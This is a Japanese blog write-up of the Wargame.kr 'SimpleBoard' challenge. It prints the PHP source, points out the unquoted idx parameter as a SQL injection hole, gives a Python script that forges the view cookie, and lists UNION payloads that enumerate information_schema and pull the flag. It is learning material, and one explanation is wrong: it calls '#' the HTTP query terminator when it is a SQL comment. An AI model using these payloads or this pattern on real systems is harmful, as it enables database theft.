CTF、Wargame.kr #14 SimpleBoardのwriteup

CTF

Web問に強くなる必要が出て来たのでPwnable.krで勉強中ですがWargame.krをやってます。

(もう毎度のことですがわかんなくて他人のwriteup見ました)

与えられるもの

押した行の番号が、idxというクエリパラメータとして付加されています

そして、押すと「HIT」欄の数がインクリメントされます。

与えられるソースコードがこれ。

<?php
    if (isset($_GET['view-source'])){
        if (array_pop(split("/",$_SERVER['SCRIPT_NAME'])) == "classes.php") {
            show_source(__FILE__);
            exit();
        }
    }

    Class DB {
        private $connector;

        function __construct(){
            $this->connector = mysql_connect("localhost", "SimpleBoard", "SimpleBoard_pz");
            mysql_select_db("SimpleBoard", $this->connector);
        }

        public function get_query($query){
            $result = $this->real_query($query);
            return mysql_fetch_assoc($result);
        }

        public function gets_query($query){
            $rows = [];
            $result = $this->real_query($query);
            while ($row = mysql_fetch_assoc($result)) {
                array_push($rows, $row);
            }
            return $rows;
        }

        public function just_query($query){
            return $this->real_query($query);
        }

        private function real_query($query){
            if (!$result = mysql_query($query, $this->connector)) {
                die("query error");
            }
            return $result;
        }

    }

    Class Board {
        private $db;
        private $table;

        function __construct($table){
            $this->db = new DB();
            $this->table = $table;
        }

        public function read($idx){
            $idx = mysql_real_escape_string($idx);
            if ($this->read_chk($idx) == false){
                $this->inc_hit($idx);
            }
            return $this->db->get_query("select * from {$this->table} where idx=$idx");
        }

        private function read_chk($idx){
            if(strpos($_COOKIE['view'], "/".$idx) !== false) {
                return true;
            } else {
                return false;
            }
        }

        private function inc_hit($idx){
            $this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
            $view = $_COOKIE['view'] . "/" . $idx;
            setcookie("view", $view, time()+3600, "/SimpleBoard/");
        }

        public function get_list(){
            $sql = "select * from {$this->table} order by idx desc limit 0,10";
            $list = $this->db->gets_query($sql);
            return $list;
        }

    }


HIT欄の数字の更新について

具体的にはHIT欄の数字をインクリメントしてるのはこの関数です。名前もincrement_hitの略みたいですし。

        private function inc_hit($idx){
            $this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
            $view = $_COOKIE['view'] . "/" . $idx;
            setcookie("view", $view, time()+3600, "/SimpleBoard/");
        }

でこの関数はCookieにidxを書き込んでいるのがわかりますね。

そして、このinc_hit関数は、read_chk関数というすでに読んだページかをCookieから判定している関数を呼び、もし結果がfalseなら(=初めて訪れるページなら)クエリを発行しHITカウントをインクリメントしています。。

        private function read_chk($idx){
            if(strpos($_COOKIE['view'], "/".$idx) !== false) {
                return true;
            } else {
                return false;
            }
        }

もし初めて来たページ(というか初めて見るidxのページ)だと判定されるとinc_hit関数の中でread_chk関数がtrueを返しクエリが発行されてしまい、つまり

$this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");

が実行されるため、read関数のなかのクエリに合わせることしか考えていないSQLインジェクションしてるとquerry errorになります。

よって、すでに読んだページということにするためCookieに情報を付加しておき、このinc_hit関数が呼ばれるのを阻止する必要があります。

なお読めばわかりますがCookieのviewの値に、たとえばidxが1と2と4のページにすでに訪れたのなら「  /1/2/4 」のようにセットされます。

クエリパラメータを編集して
http://wargame.kr:8080/SimpleBoard/read.php?idx=(ここを変更)
みたいにするときは、Cookieも編集しなくてはいけないのです。

省力化

いちいちCookie編集はめんどくさいのでスクリプトでやるとよいらしいです。

import urllib
import urllib2
import sys

payload = sys.argv[1]
payload = urllib.quote(payload)

url = "http://wargame.kr:8080/SimpleBoard/read.php?idx=" + payload

res = ""

req = urllib2.Request(url)
req.add_header('Cookie', 'view=/' + payload + ';ci_session=ここに自分のセッションIDを貼る)

res = urllib2.urlopen(req)
read = res.read()

print read

(by参考writeupのその3)
とやればCookie変更とリクエスト送信を一度にやってくれよろしいそうです。
セッションIDはCharlesみたいなのでローカルプロキシってで通信内容を見るか、SafariならWebインスペクタ、Chromeなら開発者ツールとかで通信内容を見てください。

$ python simpleBoard.py "ここにクエリパラメータidxに入れたいものを書く"

とすればレスポンスボディが表示されるわけですが、さてどう使うか。

SQLインジェクションできるポイント

実は、与えられたソースコード

        public function read($idx){
            $idx = mysql_real_escape_string($idx);
            if ($this->read_chk($idx) == false){
                $this->inc_hit($idx);
            }
            return $this->db->get_query("select * from {$this->table} where idx=$idx");
        }

には脆弱性があり、「idx=$idx」とシングルクォーテーションでくくっておりません。
$idxに入ってたものがそのまま渡されるためSQLインジェクションしちゃえます。
たとえば
http://wargame.kr:8080/SimpleBoard/read.php?idx=1 union 1,2,3,4#
とすると(ブラウザのURLバーだと空白入れられないかも)、実際には最後のreturnが

return $this->db->get_query("select * from {$this->table} where idx=1 union1,2,3,4#");

となってしまうわけです。

なお、最後に「#」を入れているのはHTTPのクエリの末尾を表すためみたいです。クエリの終わりは末尾または#までだそうです。
(参照・こせきの技術日記:HTTPのクエリパラメータにコロン(:)を書くのは不正なのか。)

何をインジェクションするのか

よって、idxには次のSQLインジェクションを試していきます。
まず、idxに基づきSQLから得た情報を表示するワクは4つあるので、つぎの文を試します。

$ python simpleBoard.py "union 1,2,3,4#"


みての通りエラーです。
これはなぜかというとさっきの通りread関数内のSQLクエリ文の中のidx=$idxに合うようにしなくてはならないから。

select * from {$this->table} where idx= union1,2,3,4#

ってクエリとしておかしいでしょ。

次はちゃんと頭にidxの番号を入れときます。

$ python simpleBoard.py "1 union 1,2,3,4#"


idx=1のときの情報が普通に表示されるだけです。
返されたデータの先頭4つだけを表示しているのでしょう。だからあとのものは表示されません。

では、データが存在しないはずのidx=5にしてみると?

$ python simpleBoard.py "5 union 1,2,3,4#"


当然、idx=5に関しての情報はカラですので、かわりに後ろの1、2、3、4が先頭の4要素に入って来ていますから表示されます。

ほんでもってテーブル名とかそのカラム名とかを検索して表示してけばたどり着くみたいだけどめんどいので放置

$ python simpleBoard.py "5 union select 1,2,3,table_name from information_schema.tables limit 1,1#"

とかやるとテーブルの名前が表示されたりなんだりして解いていきます。
なおinformation_schemaはMySQLのリファレンスによると

INFORMATION_SCHEMA では、データベースメタデータへのアクセスを実現し、データベースまたはテーブルの名前、カラムのデータ型、アクセス権限などの MySQL Server に関する情報を提供します。この情報に使用されることがある別の用語が、データディクショナリとシステムカタログです。

INFORMATION_SCHEMA は、各 MySQL インスタンス内のデータベースであり、MySQL Server が保持するほかのすべてのデータベースに関する情報を格納する場所です。

だそうですんでテーブルの名前カラムの名前見られちゃうわけです。

ここから怪しいテーブルの名前を見つけたりそのカラム名を表示したりして行くわけですが、あとは説明することはないので以下の参考writeupの元記事を読んでも十分追えるはずです。
最終的には

$ python simpleBoard.py "5 union select 1,2,3,flag from README#"

で答えが出ます。
(丸投げ)

参考writeup

コメント